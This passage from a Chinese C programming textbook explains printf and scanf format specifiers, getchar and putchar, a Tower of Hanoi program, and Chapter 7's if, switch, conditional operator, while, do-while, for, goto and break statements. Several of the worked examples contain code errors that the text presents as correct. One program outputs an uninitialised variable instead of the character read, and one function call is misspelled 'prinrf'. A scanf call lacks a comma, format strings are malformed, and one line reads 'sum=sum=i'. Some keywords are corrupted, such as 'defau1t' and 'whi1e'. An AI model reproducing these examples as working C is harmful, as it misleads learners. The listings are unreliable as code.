·%m.ns，输出占m列，但只取字符串中左端n个字符，这n个字符输出在m列的右侧，左补空格。

·%-m.ns，其中m、n含义同上，n个字符输出在m列范围的左侧，右补空格。如果n＞m，则m自动取n值，即保证n个字符正常输出。

（7）f格式符

用来输出实数（包括单、双精度），以小数形式输出，有以下几种用法：

·%f，不指定字段宽度，由系统自动指定，使整数部分全部原样输出，并输出6位小数。应当注意，并非全部数字都是有效数字，单精度实数的有效位数一般为7位。

·%m.nf，指定输出的数据共占m列，其中有n位小数。如果数值长度小于m，则左端补空格。

·%-m.nf，和%m.nf基本相同，只是使输出的数值向左端靠，右端补空格。

【例6-4】指定输出数据的精度（三）

要求用printf()函数输出，并且在printf()函数中指定输出数据的精度。

[1]在Vi中创建一个新工程文件，命名为"example6_4.c"。

[2]在"example6_4.c"中创建如下代码。



main()

{

float x,y;

x=111111.11111;y=222222.222222;

printf("%f\n",x+y);

}



[3]编译并运行程序，结果如图6-5所示。
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图　6-5　在printf()函数中指定输出数据精度的输出结果

显然，只有前7位数字是有效数字。并不是打印出来的数字都是准确的。双精度数也可用"%f"格式输出，它的有效位数一般为16位，给出小数6位。

（8）e格式符

以指数形式输出实数。可以用以下形式：

·%e，不指定输出数据所占的宽度和数字部分的小数位数，由系统自动指定给出6位小数，指数部分占5位（如e+002），其中"e"占一位，指数符号占一位，指数占3位。数值按标准化指数形式输出（即小数点前必须有而且只有一位非零数字）。

·%m.ne和%-m.ne,m、n和“-”字符含义与前相同，此处n指数据的数字部分。

（9）g格式符

用来输出实数，它根据数值的大小，自动选f格式或e格式（选择输出时占宽度较小的一种），且不输出无意义的零。

以上介绍了九种格式符，归纳如表6-1所示。
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在%与格式字符之间还可以加上一些说明符以对输出格式做进一步的限定。

·-，输出时左对齐，默认是右对齐，如printf（"%-10d"，i）表示将i输出并左对齐。

·dd，指定输出的参数所占的最小宽度，如果数据的长度小于最小宽度则以空格来填补。例如，printf（"%5d"，i），若i的值的长度大于等于5位，则原样输出；若小于5位则左边以空格补齐；若是%-5d，则右边以空格补齐。

·dd.dd，用于输出浮点数，前面的dd表示整个浮点数所占的宽度，后面的dd表示小数点后面将输出几位；输出字符串时，前面的dd表示整个字符串所占的宽度，后面的dd表示输出字符串的前dd个字符。

3.注意事项

用printf()函数输出时，注意数据类型应与格式说明匹配，否则将会出现错误。此外，还有几点要注意：

·有些系统要求格式字符要用小写字母，如%d不能写成%D。

·可以在printf()函数中的格式控制字符串内包含转义字符，如"\n"、"\t"、"\b"、"\r"、"\f"等。

·上面介绍的d、o、x、c、s、f、e、g等字符，如用在“%”后面就作为格式符号。一个格式说明以“%”开头，以上述9个格式字符之一结束，中间可以插入附加格式字符（也称修饰符）。例如：



printf("c=%cf=%fs=%s",c,f,s);



第一个格式说明为"%c"而不包括其后的f，第二个格式说明为"%f"，不包括其后的s，第三个格式说明为%s，其他的字符为原样输出的普通字符。

·要输出字符“%”，则应该在格式控制字符串中用“%%”，如：



printf("%f%%",1.0/3);

输出0.333333%



·不同的系统在实现格式输出时，输出结果可能会有一些小的差别，例如用"%e"格式符输出实数时，有些系统输出的指数部分为4位（如e+02）而不是5位（e+002），前面的数字部分为5位小数而不是6位等。


6.2　数据的输入

本节介绍两个输入函数，字符输入函数getchar()和格式输入函数scanf()，它们是以终端（或系统隐含指定的输入设备）为输入设备的。


 6.2.1　字符输入函数getchar()

字符输入函数getchar()的作用是从终端（或系统隐含指定的输入设备）输入一个字符，getchar()函数没有参数，其函数原型为：



#include＜stdio.h＞

int getchar(void);



或写成



c=getchar();



把输入的字符赋给变量c，变量c为字符型或整型。

【例6-5】字符的输入/输出

要求用getchar()函数输入字符，用putchar()函数输出字符。

[1]在Vi中创建一个新工程文件，命名为"example6_5.c"。

[2]在"example6_5.c"中创建如下代码。



#include＜stdio.h＞

int main()

{

char c;

c=getchar();

putchar(c);

}



[3]用GCC编译并运行程序，结果如图6-6所示。
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图　6-6　字符的输入/输出操作

在运行时，从键盘输入字符"b"；按Enter键，字符才送到内存，然后输出变量c的值"b"。

getchar()函数得到的字符可以赋给一个字符变量或整型变量，也可以赋给任何变量，作为表达式的一部分。例6-1中的第5、6行可以用下面一行来代替：



putchar(getchar());



【例6-6】字符的输入和输出

下面程序从标准输入文件逐个读取字符，并把字符按照双份写入到标准输出文件。

[1]在Vi中创建一个新工程文件，命名为"example6_6.c"。

[2]在"example6_6.c"中创建如下代码。



#include＜stdio.h＞

int main(void)

{

int a,c;

while((c=getchar())!=EOF)

{

putchar(a);

putchar(a);

}

return 0;

}



[3]编译并运行程序，结果如图6-7所示。
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图　6-7　字符的输入和输出

上述程序代码中的标识符EOF表示文件尾，它的具体值因系统而异，大多时候它是用-1这个值，但是不同的系统可能有不同的值。通过包含stdio.h文件并使用符号常量EOF，代码便于移植。

getchar()函数只能接受1个字符。当在屏幕上出现要求输入字符的提示符时，如果输入的字符超过1个，则程序只接受输入的第一个字符并把它赋给变量，其他的输入字符将被忽略。


6.2.2　格式输入函数scanf()

getchar()函数只能用来输入一个字符，用scanf()函数可以用来输入任何类型的多个数据。

1.函数形式

scanf()函数的一般形式：



scanf(格式控制字符串,地址列表);



格式控制字符串的作用与printf()函数的基本相同，地址列表是由若干个地址组成的列表，可以是变量的地址或字符串的首地址。变量的地址是由地址运算符“＆”后跟变量名组成，如＆a表示变量a的地址。

【例6-7】scanf()函数的使用

本例说明scanf()函数的用法。

[1]在Vi中创建一个新工程文件，命名为"example6_7.c"。

[2]在"example6_7.c"中创建如下代码。



main()

{

int a,b,c;

scanf("%d%d%d",＆a,＆b,＆c);/*按照a、b、c在内存的地址将a、b、c的值存进去*/

prinrf("%d,%d,%d\n",a,b,c);

}



[3]编译并运行程序，结果如图6-8所示。
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图　6-8　用scanf()函数和printf()函数进行数据的输入和输出

程序中"＆a，＆b，＆c"中的“＆”是地址运算符，＆a指a在内存中的地址。用"%d%d%d"格式输入时，不能用逗号（可用空格）作两个数据间的分隔符，如输入“1，2，3”不合法。

2.格式说明

scanf()函数和printf()函数中的格式说明相似，以%开始，以一个格式字符结束，中间可以插入附加的字符。表6-2列出scanf()函数用到的格式字符。
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表6-3列出scanf()可以用的附加说明字符（修饰符）。
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3.scanf()函数的使用说明

1）标准C在scanf()中不使用%u说明符，对unsigned型数据，以%d或%o、%x格式输入。

2）可以指定输入数据所占列数，系统自动按它截取所需数据。如：



scanf("%3d%3d",＆a,＆b);



输入“654321”，系统自动将654赋给a，321赋给b。也可用于字符型输入：



scanf("%3c",＆h);



输入3个字符，把第一个字符赋给h。

3）%后的“*”附加说明符，用来表示跳过相应的数据。例如：



int a,b,c;

scanf("%d%*d%d%d",＆a,＆b,＆c);



输入数据：10 15 20 11时，把10赋给a，跳过15，把20赋给b，把11赋给c。4）输入数据时不能规定精度，例如：



scanf("%7.2f",＆a);



是不合法的。

5）scanf()函数中的格式控制后面应当是变量地址，而不应是变量名。例如：



int a,b;

scanf("%d,%d",a,b);



是不对的，应为"＆a，＆b"。这是C语言与其他高级语言不同的地方。

6）如果在格式控制字符串中除了格式说明以外还有其他字符，则在输入数据时应输入与这些字符相同的字符。

7）在用"%c"格式输入字符时，空格字符和转义字符都作为有效字符输入。如：



scanf("%c%c%",＆c1,＆c2,＆c3);



如输入a__b__c，则字符"a"送给c1，字符“__”送给c2，字符"b"送给c3，因为%c只要求读入一个字符，后面不需要用空格作为两个字符的间隔，因此“__”作为下一个字符送给c2。

8）在输入数据时，遇以下情况时该数据认为结束：

·遇空格，或按Enter键或“跳格”（Tab）键。

·遇宽度结束，如“%2d”，只取2列。

·遇非法输入。

【例6-8】汉诺塔程序

有一种被称为汉诺塔的游戏，有三个塔分别标为A、B、C。在游戏一开始，塔A上套了n个盘子，盘子的标号从1到n，假设每个盘子的直径和标号相同，即盘子1的直径为1，盘子2的直径为2等。这n个盘子开始按照1、2……n的顺序套在塔A上，游戏的目标是将所有的盘子都移到塔C上。一次只能移动一个盘子，塔A、B、C都可以作为盘子移动的过渡位置。每次移动之后，每个塔上的盘子必须按顺序出现，不允许出现大盘子在小盘子之上的情况。

[1]在Vi中创建一个新工程文件，命名为"example6_8.c"。

[2]在"example6_8.c"中创建如下代码。



#include＜assert.h＞

#include＜stdio.h＞

#include＜stdlib.h＞

extern int count;

int get_n(void);

void move(int n,char a,char b,char c);

int count=0;

int main(void)

{

int n=get_n();

assert(n＞0);

move(n,'A','B','C');

return 0;

}

int get_n(void)

{

int n;

printf("Input n:");

if(scanf("%d",＆n)!=1‖n＜1)

{

printf("\nERROR!\n\n");

exit(1);

}

printf("\n");

return n;

}

void move(int n,char a,char b,char c)

{

if(n==1)

{

++count;

printf("%5d:%s%d%s%c%s%c\n",count,"move disk",1,"from tower",a,"to tower",c);

}

else

{

move(n-1,a,c,b);

++count;

printf("%5d:%s%d%s%c%s%c\n",count,"move disk",n,"from tower",a,"to tower",c);

move(n-1,b,c,a);

}

}



[3]编译并运行程序，结果如图6-9所示。
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图　6-9　汉诺塔的输出结果


6.3　实践拓展

1.输入/输出数据的类型与所用格式不匹配的错误

输入/输出的数据的类型与所用格式说明符不一致，如：



int x=2;

float y=3.1;

printf("%f%d\n",x,y);



将数据按格式符的要求组织输出，因此是错误的。

2.scanf()函数常见错误

在用scanf()函数给普通变量输入数据时，在变量名前经常出现的错误是漏写地址运算符＆。如：



scanf("%d%d",x,y);



正确的应该是：



scanf("%d%d",＆x,＆y);



3.C语言的宏和函数

宏和函数有着本质的区别：

·函数是在运行时分配临时内存空间的，而宏是在编译阶段展开的，在展开的时候并不分配内存空间，也不进行值的传递，也没有返回值。

·函数调用是先求出实参表达式，然后带入形参；而宏只是进行简单的字符串替代。

·函数的形参的参数类型有着严格的规定，而宏中的参数是不严格的。

·函数的调用过程要占用一系列处理时间，而宏的展开只占用编译时间，不占用运行时间。

例子：



#define max(a,b)((a＞b)?a:b)/*宏*/

int max(int a,int b);/*函数的声明*/




6.4　思考与练习

1.写出以下程序的输出结果。



#include＜stdio.h＞

void main(void)

{

char a="xyz\0xyz";

printf("%s",a);

}



2.写出以下程序的输出结果。



#include＜stdio.h＞

void main()

{

char ch;int k=0;

for(ch='A';ch＜'H';ch++,k++)

if(k%2==0)printf("%c",ch);

printf("\n");

}



3.sum=2+5+8+11+14+……，输入正整数n，求sum的前n项和。

4.设圆的半径为r=3，圆柱的高为h=11.5，编程来求圆的周长、圆的面积、圆柱的体积和表面积。

5.编程，统计在所输入的50个实数中有多少个正数、多少个负数、多少个零。

6.编写程序，从键盘输入一个以秒为单位的时间数，将其换算成几小时几分几秒然后输出。


第7章　基本语句

本章要点：

结构化程序设计

语句和复合语句

条件语句

循环控制


 7.1　结构化程序设计概述

C语言是国际上流行的一种结构化程序设计语言，采用结构化程序设计方法，使程序结构清晰、易读性强，可以提高程序设计质量和效率。结构化程序设计强调从程序结构和风格上来研究程序设计，把一个复杂的求解过程分阶段进行，每个阶段处理的问题都控制在容易理解和处理的范围内。结构化程序设计方法的主要原则可以概括为自顶向下、逐步细化、模块化、限制使用goto语句。结构化程序由若干个基本结构组成，每一个基本结构可以包含一个或若干个语句。下面介绍三种基本结构。

1.顺序结构

顺序结构是指每个程序都是按照语句的书写顺序依次执行的，这是—种最简单的基本结构，如图7-1所示。执行完A操作后，再执行B操作。
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图　7-1　顺序结构

2.选择结构

选择结构是指通过对特定条件的判断，来选择一个分支执行。如图7-2所示，当条件P为“真”时，执行A操作；当条件P为“假”时，执行B操作，无论何种情形，A、B两个操作不能同时执行。
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图　7-2　选择结构

3.循环结构

循环结构是指在给定的条件下，重复执行某段程序，直到条件不满足为止。有如下两种形式的循环结构。

（1）while循环结构

这种循环结构的执行过程是先判断条件，当条件为“真”时，重复执行某段程序，直到条件为“假”为止，如图7-3所示。由于是先判断条件，所以，当开始条件P就为“假”时，A操作将一次也不被执行。
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图　7-3　while循环结构

（2）do-while循环结构

这种循环结构的执行过程是先执行某段程序，然后再判断条件，当条件为“真”时，再重复执行这段程序，直到条件为“假”为止，如图7-4所示。由于先执行A操作，然后再判断条件P，所以，无论开始条件P是否为真，A操作都至少被执行一次。
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图　7-4　do-while循环结构

由上述基本结构构成的程序被称为结构化程序。一个结构化程序具有可读性好、可靠性高、易于维护和易于移植等优点。C语言为程序设计者提供了非常完整的适合于结构化程序设计的语句和数据结构，如条件语句、循环语句等，这些语句和数据结构为结构化程序设计提供了极为有利的条件。


7.2　语句和复合语句

程序由语句构成，语句类似于自然语言中的句子。在C语言中，一个表达式的后面跟随一个分号就构成了语句，这种语句称为表达式语句。例如：



z=x+y;

p=getchar();



都是表达式语句。这里需要强调的是，在C语言中分号";"是语句的终结符，而不是语句之间的分隔符，也就是说，分号是语句的最末组成部分。

除了表达式语句之外，C语言中还有复合语句、流程控制语句、函数返回语句及空语句等。

由花括号括起来的语句称为复合语句，其一般形式如下：



{说明部分;语句部分}



其中，说明部分是一系列用分号隔开的说明，包括变量类型说明等。语句部分是由一系列可执行的语句所组成的。

复合语句的主要用途是把一组语句聚合成一个可执行的单位。一个复合语句在语法上等同于一个语句，因此，在程序中，凡是单个语句能够出现的地方都可以出现复合语句。复合语句作为一个语句又可以出现在其他复合语句的内部。凡是能使用简单语句的地方，都可以使用复合语句。复合语句常用在流程控制语句中需要执行多个语句，以便完成多个操作的情形。

复合语句是以右花括号为结束标志的，因此，在复合语句右花括号的后面不必加分号。但是，需要注意的是在复合语句里，最后一个非复合语句的后面必须要有一个分号，此分号是语句的终结符。下面是复合语句的一个例子：



{

a+=b;

printf("a=%,b=%\n",a,b);

}



复合语句的一个重要用途是实现if、if else、while、for和switch语句的控制流。


7.3　条件语句

条件语句是C语言的一种流程控制语句，它可以根据已知条件来选择语句的执行顺序。C语言的条件语句主要有if语句和switch语句。


 7.3.1　if语句

if语句可以对给定的条件进行判断，根据判定的结果（真或假）决定执行给出的两种操作之一。

C语言提供了三种形式的if语句：单分支if语句、双分支if语句和多分支if语句。

1.单分支if语句

单分支if语句形式：



if(表达式)语句



例如：



if(x＞y)printf("%d",x);



这条语句首先判断变量x的值是否大于y，如果是，则打印出x的值；若x小于y的值，则不打印。

这种单分支if语句的执行过程如图7-5所示。
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图　7-5　单分支if语句的执行过程

if语句中的表达式一般为关系表达式或逻辑表达式，也可以是任何数据类型的表达式，以其值的非0或0来确定逻辑的真假。if（表达式）后面的语句可以是一条语句，也可以是由多个语句组合而成的复合语句。例如：



if(x＜y){t=x;x=y;y=t;}



2.双分支if语句

双分支if语句的形式：



if(表达式)

语句1

else

语句2



当表达式的值为非0时，执行语句1；当表达式的值为0时，执行语句2。例如：



if(x＞y)printf("%d",x);

else printf("%d",y);



这条语句首先判断x的值是否大于y，如果是，打印出x的值，否则打印出y的值。这种if语句的执行过程如图7-6所示。
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图　7-6　双分支if语句的执行过程

else是if语句的一部分，不能单独使用。else总是和处在它前面与它最近的if配对。

【例7-1】if语句的应用例子

输入3个整数x、y、z，求其中的最大值。

[1]在Vi中创建一个新工程文件，命名为"example7_1.c"。

[2]在"example7_1.c"中创建如下代码。



main()

{

int x,y,z,max;

printf("please input three numbers:");

scanf("%d%d%d"＆x,＆y,＆z);

if(x＞y)

max=x;

else

max=y;

if(z＞max)

max=z;

printf("max=%d\n",max);

}



[3]使用GCC编译并运行程序，结果如图7-7所示。
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图　7-7　利用if语句求3个数中的最大值

3.多分支if语句

多分支if语句的形式如下：



if(表达式1)语句1

else if(表达式2)语句2

else if(表达式3)语句3

...

else if(表达式n)语句n

else 语句n+1



执行多分支if语句时，如果表达式1的值为非0，则执行语句1，后面的语句不再执行，否则执行else后面的语句。这种if语句的执行过程如图7-8所示。
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图　7-8　多分支if语句的执行过程

例如：



if(number＞500)cost=0.15;

else if(number＞300)cost=0.10;

else if(number＞100)cost=0.075;

else if(number＞50)cost=0.05;

else cost=0;



if语句说明：

1）三种形式的if语句中在if后面都有表达式，一般为逻辑表达式或关系表达式。例如：



if(a＞b){t=a;a=b;b=t;}



系统对表达式的值进行判断，若为0，按“假”处理，若为非0，按“真”处理，执行指定的语句。假如有以下语句：



if(3)printf("ok");



该语句是合法的，执行结果输出"ok"。因为表达式的值为3，按“真”处理。由此可见，表达式的类型不限于逻辑表达式，可以是任意的数值类型（包括整型、实型、字符型、指针型数据）。

2）在第二、第三种形式的if语句中，在每个else前面有一个分号，整个语句结束处有一个分号。例如：



if(x＞0)printf("%f",x);

else printf("%f",-x);



这是由于分号是C语句中不可缺少的部分，这个分号是语句中的内嵌语句所要求的。如果无此分号，则出现语法错误。

3）在if和else后面可以只含一个内嵌的操作语句（如上例），也可以有多个操作语句，此时用花括号“{}”将几个语句括起来成为一个复合语句。如：



if(x＜y)

{

min=x;

printf("x is smaller than y");

}

else

min=y;

printf("y is smaller than x");



在{}外面不需要再加分号，因为{}内是一个完整的复合语句，不需另外附加分号。

【例7-2】多分支if语句的应用

编写程序，根据输入的学生成绩，给出相应的等级。90分以上的等级为A，80～89分为B，70～79分为C，60～69分为D，60分以下为E。

[1]在Vi中创建一个新工程文件，命名为"example7_2.c"。

[2]在"example7_2.c"中创建如下代码。



main()

{

int grade;

printf("Please input grade:");

scanf("%d",＆grade);

printf("grade=%d:",grade);

if(grade＞=90)printf("A\n");

else if(grade＞=80)printf("B\n");

else if(grade＞=70)printf("C\n");

else if(grade＞=60)printf("D\n");

else printf("E\n");

}



[3]使用GCC编译并运行程序，结果如图7-9所示。
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图　7-9　多分支if语句的应用

在上述三种if语句结构中，当if（表达式）或else后的语句本身又是一个if语句结构时，就形成了if语句的嵌套结构。if语句的两层嵌套结构如下：



if()

if()语句1;

else语句2;

else

if()语句3;

else 语句4;



在if语句的嵌套结构中并不需要对称，只根据需要决定嵌套的形式。

【例7-3】if语句的嵌套应用

编写一段程序来实现符号函数的功能。

[1]在Vi中创建一个新工程文件，命名为"example7_3.c"。

[2]在"example7_3.c"中创建如下代码。



main()

{

int x,y;

printf("Input x:");

scanf("%d",＆x);

y=-1;

if(x!=0)

{if(x＞0)y=1;}

else

y=0;

printf("x=%d,y=%d\n",x,y);

}



[3]使用GCC编译并运行程序，结果如图7-10所示。
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图　7-10　if语句的嵌套应用


7.3.2　条件运算符

若if语句中，当表达式为“真”和“假”时，都只执行一个赋值语句，当给同一个变量赋值时，可以用简单的条件运算符来处理。例如，若有以下if语句：



if(a＞b)max=a;

else max=b;



可以用下面的条件运算符（?:）来处理：



max=(a＞b)?a:b;



其中"(a＞b)?a:b"是一个条件表达式。它是这样执行的：如果a＞b条件为真，则条件表达式取值a，否则取值b。

条件运算符要求有三个操作对象，称三目（元）运算符。条件表达式的一般形式为：



表达式1? 表达式2:表达式3



它的执行过程见图7-11。
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图　7-11　条件运算符的执行过程

说明：

1）条件运算符的执行顺序：先求解表达式1，若为非0（真）则求解表达式2，此时表达式2的值就作为整个条件表达式的值。若表达式1的值为0（假），则求解表达式3，表达式3的值就是整个条件表达式的值。语句



max=(a＞b)?a:b;



执行结果就是将条件表达式的值赋给max，也就是将a和b二者中的较大者赋给max。

2）条件运算符优先于赋值运算符，因此上面赋值表达式的求解过程是先求解条件表达式，再将它的值赋给max。

条件运算符的优先级别比关系运算符和算术运算符都低。因此



max=(a＞b)?a:b;



可写成



max=a＞b?a:b;



3）条件运算符的结合方向为“自右至左”。如果有以下条件表达式：



a＞b?a:c＞d?c:d



相当于



a＞b?a:(c＞d?c:d)



如果a=1，b=2，c=3，d=4，则条件表达式的值等于4。

4）条件表达式不能取代一般的if语句，只有在if语句中内嵌的语句为赋值语句（且两个分支都给同一个变量赋值）时才能代替if语句。像下面的if语句就无法用一个条件表达式代替。



if(a＞b)printf("%d",a);

else printf("%d",b);



但可以用下面的语句代替：



printf("%d",a＞b?a:b);



即将条件表达式的值输出。

5）在条件表达式中，表达式1的类型可以与表达式2和表达式3的类型不同。如



x?'a':'b'



x是整型变量，若x=0，则条件表达式的值为"b"。表达式2和表达式3的类型也可以不同，此时条件表达式的值的类型为二者中较高的类型。如：



x＞y?1:1.5



若x＜=y，则条件表达式的值为1.5，若x＞y，则条件表达式的值应为1，由于1.5是实型，比整型高，因此，将1转换成实型值1.0。


7.3.3　switch语句

switch语句是多分支选择语句，它是对if else语句的归纳。if语句只有两个分支可供选择，而实际问题中常常需要用到多分支的选择。例如人口统计分类（按年龄分为老、中、青、少、儿童）、工资统计分类、银行存款分类和成绩统计分类等。当然这些都可以用嵌套的if语句来处理，但如果分支较多，则嵌套的if语句层数多，程序冗长而且可读性降低。C语言提供switch语句直接处理多分支选择，它相当于Pascal语言中的case语句。它的一般形式如下：



switch(表达式)

{

case常量表达式1:语句1

case常量表达式2:语句2

...

case常量表达式n:语句n

default:语句n+1

}



下面是switch语句的典型用法：



switch(X)

{

case'A':printf("85～100\n");

case'B':printf("70～84\n");

case'C':printf("60～69\n");

case'D':printf("＜60\n");

default:printf("error\n");

}



说明：

1）switch后面括弧内的“表达式”，可以是整型表达式或字符型表达式，也可以是枚举型数据，且表达式两边的括号不能省略。

2）当表达式的值与某一个case后面的常量表达式的值相等时，就执行此case后面的语句，若所有的case中的常量表达式的值都没有与表达式的值匹配的，就执行defau1t后面的语句。如果不存在default语句，就终止当前的switch语句。

3）每一个case的常量表达式的值必须互不相同，否则就会出现互相矛盾的现象（对表达式的同一个值，有两种或多种执行方案）。

4）各个case的出现次序不影响执行结果。

5）执行完一个case后面的语句后，流程控制转移到下一个case继续执行。“case常量表达式”只是起语句标号作用，并不是在该处进行条件判断。在执行switch语句时，根据switch后面表达式的值找到匹配的入口标号，从此标号开始执行下去，不再进行判断。


7.4　循环控制

在许多问题中需要用到循环控制，循环结构是结构化程序的三种基本结构之一，它和顺序结构、选择结构共同作为各种复杂程序的基本构造单元。其特点是在给定条件成立时，反复执行某程序段，直到给定条件不成立时为止。例如，输入学生成绩、求若干个数的和、迭代求根等，几乎所有实用的程序都包含循环。因此，熟练掌握选择结构和循环结构的概念及使用是程序设计的最基本的要求。

根据开始或结束循环的条件的不同，在C语言中可以用以下语句来实现循环：

·用goto语句和if语句构成循环。

·用while循环语句。

·用do-while循环语句。

·用for循环语句。


 7.4.1　while循环语句

它用来实现“当型”循环结构。其一般形式如下：



while(表达式)

语句1



当表达式为非0值时执行while语句中的内嵌语句，执行完语句1以后再去判断表达式是否为真，如果还是为真继续执行语句1，直到表达式为假时才停止执行语句1。其特点是先判断表达式，后执行语句。

【例7-4】while循环的使用

本例使用while循环语句来求[image: figure_0138_0085]
 的值。

[1]在Vi中创建一个新工程文件，命名为"example7_4.c"。

[2]在"example7_4.c"中创建如下代码。



#include＜stdio.h＞

main()

{

int i,sum=0;i=1;

while(i＜=100)

{

sum=sum+i;

i++;

}

printf("%d",sum);

}



[3]使用GCC编译并运行程序，结果如图7-12所示。
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图　7-12　while循环语句的使用

本例的执行流程图如图7-13所示。循环体如果包含一个以上的语句，应该用花括弧括起来，以复合语句形式出现。如果不加花括弧，则while语句的范围只到while后面第一个分号处。例如，本例的while语句中如果无花括弧，则while语句范围只到"sum=sum+i"。在循环体中应有使循环趋向结束的语句。如本例中的i++，通过i值的变化使i＜=100为假而结束循环。
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图　7-13　例7-4的执行流程图


7.4.2　do-while循环语句

它用来实现“直到型”循环结构。其一般形式为：



do

循环体语句

while(表达式);



其特点是：先执行语句，后判断表达式。它是这样执行的：先执行一次指定的内嵌的语句，然后判别表达式，当表达式的值为非0（真）时，返回重新执行该语句，如此反复，直到表达式的值等于0为止，此时循环结束。

【例7-5】do-while循环语句的使用

从键盘上输入一个字符，判断是否为大写字母，如果是则将其转换为小写字母并输出；否则，不转换，且不输出。

[1]在Vi中创建一个新工程文件，命名为"example7_5.c"。

[2]在"example7_5.c"中创建如下代码。



#include＜stdio.h＞

void main()

{

char ch,stop;

do

{

printf("Please input a letter:");

ch=getchar();

if(isupper(ch))/*判断是否为大写字母*/

printf("%c\n",ch+'a'-'A');

getchar();

printf("Please input other letter:");

stop=getchar();

getchar();

}while(stop=='Y'‖stop=='y');/*程序终止条件*/

}



[3]使用GCC编译并运行程序，结果如图7-14所示。
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图　7-14　do-while循环语句的使用

do-while语句和while语句的区别在于do-while先执行循环体语句，后判断循环条件，因此do-while语句至少要执行一次；而while语句是先判断后执行，如果条件不满足，则一次循环体也不执行。对同一个问题可以用while语句处理，也可以用do-while语句处理。在一般情况下，用while语句和用do-while语句处理同一问题时，若二者的循环体部分是一样的，它们的结果也一样。


7.4.3　for循环语句

C语言中的for语句使用最为灵活，功能也最强，不仅可以用于循环次数已经确定的情况，而且可以用于循环次数不确定而只给出循环结束条件的情况，它完全可以代替while语句。for语句的一般形式为：



for(表达式1;表达式2;表达式3)

语句



它的执行过程如下：

[1]先求解表达式1。

[2]求解表达式2，若其值为真（非0），则执行for语句中指定的内嵌语句，然后执行下面第[3]步，若为假（0），则结束循环，转到第[5]步。

[3]若表达式为真，在执行指定的语句后，求解表达式3。

[4]转回上面第[2]步继续执行。

[5]执行for语句下面的一个语句。

根据for语句的执行过程，通常用表达式1给循环变量赋初值，用表达式2来作为判断循环是否结束的条件，用表达式3来改变循环变量的值，使循环结束。

for语句最简单的应用形式也是最易理解的形式如下：



for(循环变量赋初值;循环条件;循环变量增值)

语句



例如：



for(i=1;i＜=100;i++)sum=sum+i;



它相当于以下语句：



i=1;while(i＜=100)

{

sum=sum+i;

i++;

}



显然，用for语句简单方便。对以上for语句的一般形式可以改写如下：



表达式1;

while(表达式2)

{

语句

表达式3;

}



注意：

1）for语句中表达式1可以省略，其后的分号不能省略。执行时，跳过“求解表达式1”这一步，其他不变。

2）如果表达式2省略，即不判断循环条件，循环无终止地进行下去。也就是认为表达式2始终为真。

3）表达式3也可以省略，但此时程序设计者应另外设法保证循环能正常结束。

4）可以省略表达式1和表达式3，只有表达式2，即只给循环条件。如：



for(;i＜=100;)

{

sum=sum+i;

i++;

}



相当于：



while(i＜=100)

{

sum=sum=i;

i++;

}



在这种情况下，完全等同于while语句。可见，for语句比whi1e语句的功能更强，除了可以给出循环条件外，还可以赋初值，使循环变量自动增值等。

5）三个表达式都可省略，如：



for(;;)语句



相当于：



while(1)语句



即不设初值，不判断条件（认为表达式2为真），循环变量不增值。无终止地执行循环体。

6）表达式1可以是设置循环变量初值的赋值表达式，也可以是与循环变量无关的其他表达式。

7）表达式2一般是关系表达式或逻辑表达式，但也可以是数值表达式或字符表达式，只要其值非零就执行循环体。

for语句功能很强，可以把循环体和一些与循环控制无关的操作也都作为表达式1或表达式3，这样程序可以短小、简洁，但过分地利用这一特点会使for语句显得杂乱，可读性降低，建议不要把与循环控制无关的内容放到for语句中。

【例7-6】for循环的使用

下面的程序使用for循环输出九九乘法表。

[1]在Vi中创建一个新工程文件，命名为"example7_6.c"。

[2]在"example7_6.c"中创建如下代码。



main()

{

int i,j;

for(i=1;i＜=9;i++)

{

for(j=1;j＜=i;j++)

printf("%1d*%1d=%2d",i,j,i*j);

printf("\n");

}

}



[3]使用GCC编译并运行程序，结果如图7-15所示。
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图　7-15　for循环语句的使用


7.4.4　goto语句

goto语句为无条件转向语句，它的一般形式为：



goto 语句标号;



goto语句的作用是把程序的执行转移到语句标号所在的位置，但是这个语句标号必须与此goto语句在同一个函数之内。

语句标号就是给程序中的某一个语句定义的标识符，标号可以是任意合法的标识符，它的定名规则与变量名相同，即由字母、数字和下划线组成，其第一个字符必须为字母或下划线，不能用整数来作标号。但是在语句标号和它所标识的语句之间必须加一个冒号作为分隔符。

goto语句不符合结构化程序设计的原则，因为无条件转向使得程序的结构没有规律，可读性差，因此结构化程序设计方法主张限制使用goto语句，但也不是绝对禁止使用。一般来说，goto语句可以有两种用途：

1）与if语句一起构成循环结构。

2）从循环体中跳转到循环体外，但在C语言中可以用break语句和continue语句跳出本层循环和结束本次循环。goto语句的使用机会已大大减少，只是需要从多层循环的内层循环跳到外层循环时才用到goto语句。但是这种用法不符合结构化原则，一般不宜采用，只有在不得已时（例如能大大提高效率）才使用。下面所示代码说明了goto语句的用法。



while(scanf("%1f",＆x)==1)

{

if(x＜0)

goto Label;

printf("%f\n",sqrt(x));

}

Label:printf("error!\n");



【例7-7】goto语句的使用

统计从键盘输入的一行字符的个数。

[1]在Vi中创建一个新工程文件，命名为"example7_7.c"。

[2]在"example7_7.c"中创建如下代码。



#include＜stdio.h＞

main()

{

int i=0;

char x;

printf("Please input a string:\n");

loop:x=getchar();

i++;

if(x!='\n')

goto loop;

i=i-1;

printf("%d\n",i);

}



[3]使用GCC编译并运行程序，结果如图7-16所示。

[image: ]


图　7-16　goto语句的使用

当用户从键盘上输入一个字符后，先执行i++进行计数，然后判断该字符是否为‘\n’字符，若该字符不是‘\n’字符，则转至loop构成循环，否则不执行goto语句，程序在输出i的值后结束。


7.4.5　break语句和continue语句

为了使循环控制更加灵活，C语言还提供了break语句和continue语句。break语句在循环控制中的作用是强行结束该语句所在的整个循环结构，转向执行循环体语句后的下一条语句。continue语句的作用是提前结束多次循环中的某一次循环，即跳过循环体语句中位于continue语句之后的其余语句，从而进入下一次循环。

1.break语句

用break语句可以使流程跳出switch结构，继续执行switch语句下面的一个语句。当break语句用在do-while、for或while循环语句中时，也可以使程序终止循环，跳出循环结构。通常break语句总是与if语句配合使用。

【例7-8】break语句的使用

在循环体中使用break语句。

[1]在Vi中创建一个新工程文件，命名为"example7_8.c"。

[2]在"example7_8.c"中创建如下代码。



main()

{

int i,y;

y=0;

for(i=1;i＜=10;i++)

{

y=y+i;

if(y＞5)

break;

printf("y=%d\n",y);

}

}



[3]使用GCC编译并运行程序，结果如图7-17所示。
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图　7-17　break语句的使用

程序中的循环语句本来可以循环10次，但是当循环执行3次后，i的值为3，y的值为6，if语句的表达式y＞5的值为1，于是执行break语句，跳出for循环，从而提前终止了循环的执行。

